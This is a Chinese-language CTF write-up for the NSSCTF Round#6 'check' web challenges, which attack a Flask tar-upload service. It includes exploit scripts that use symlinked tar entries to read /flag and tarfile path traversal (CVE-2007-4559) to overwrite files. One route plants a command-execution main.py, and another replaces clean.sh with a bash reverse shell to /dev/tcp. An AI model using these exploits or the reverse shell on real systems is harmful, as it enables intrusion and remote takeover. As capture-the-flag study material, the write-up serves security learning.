NSSCTF Round#6 WP

NSSCTF Round#6

check(V1)

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

漏洞点在

tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])

NSSCTF Round#6 WP_第1张图片

思路:

生成一个软链接,通过软链接链接到/flag文件,然后将软链接打包成tar文件上传,之后再读取文件,读取文件时,由于extractall提取出来的是一个软链接,后面读取的时候就是/flag文件

ln -s /flag flag
tar -cvf flag.tar flag

写个脚本上传文件

import requests as req

url = "http://43.142.108.3:28089/"
filename = r"./flag.tar"
def upload(url ,fileName):
    url = url + "upload"
    file = {"file":open(fileName,'rb')} #这里是上传文件
    response = req.post(url=url, files = file)
    print(response.text)

def download(url):
    url = url+"download"
    file = {"filename":"flag"} #这里是post数据
    response = req.post(url, data=file)
    print(response.text)
if __name__ == "__main__":
    upload(url,filename)
    download(url)

check(V2)

v2没有做很大的改变,不影响漏洞的利用,用v1的脚本能拿flag

NSSCTF Round#6 WP_第2张图片

check(Revenge)

源码


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'

    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    if os.path.islink(filepath):
        return '?'
    
    if oct(os.stat(filepath).st_mode)[-3:] != '444':
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

利用CVE-2007-4559使得文件解压到其他路径

非预期解:

Debug模式下,当app.py内容发生变化时,flask会重新加载

exp.py

import re
import time
import requests as req
import tarfile

url = 'http://1.14.71.254:28077/'
filename = r"main.py"

def changeFileName(filename):
    filename.name='../../../app/main.py'
    return filename

with tarfile.open("exp.tar", "w") as tar:
    tar.add(filename,filter=changeFileName)

def upload(rawurl):

    url = rawurl + "upload"
    response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
    print(response.text)

def getFlag(rawurl):
    url = rawurl + 'download?filename=ls'
    response = req.get(url)
    print(response.content)
if __name__ == "__main__":
    upload(url)
    time.sleep(3)
    getFlag(url)

main.py

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)

@app.route('/download', methods=['GET'])
def download_file():
    filename = request.args.get('filename')

    return os.popen(filename).read()

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)

预期解

覆盖tmp/clean.sh,执行命令,拿到shell,flag的权限是root,可以通过算PIN码,提权执行命令,因为main.py的权限是root

NSSCTF Round#6 WP_第3张图片

注意生成exp.sh时,要赋予其执行命令的权限,然后执行上传操作即可

chmod +x exp.sh

exp.sh

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

exp.py

import re
import time
import requests as req
import tarfile

url = 'http://1.14.71.254:28243/'
filename = r"exp.sh"

def changeFileName(filename):
    filename.name='../../../tmp/clean.sh'
    return filename

with tarfile.open("exp.tar", "w") as tar:
    tar.add(filename,filter=changeFileName)

def upload(rawurl):
    url = rawurl + "upload"
    response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
    print(response.text)

def clean(rawurl):
    url = rawurl + 'clean'
    response = req.post(url)
    print(response.text)
if __name__ == "__main__":
    upload(url)
    time.sleep(1)
    clean(url)

debug的路由为consle

NSSCTF Round#6 WP_第4张图片

你可能感兴趣的:(Write,Up,python知识,flask,python,后端)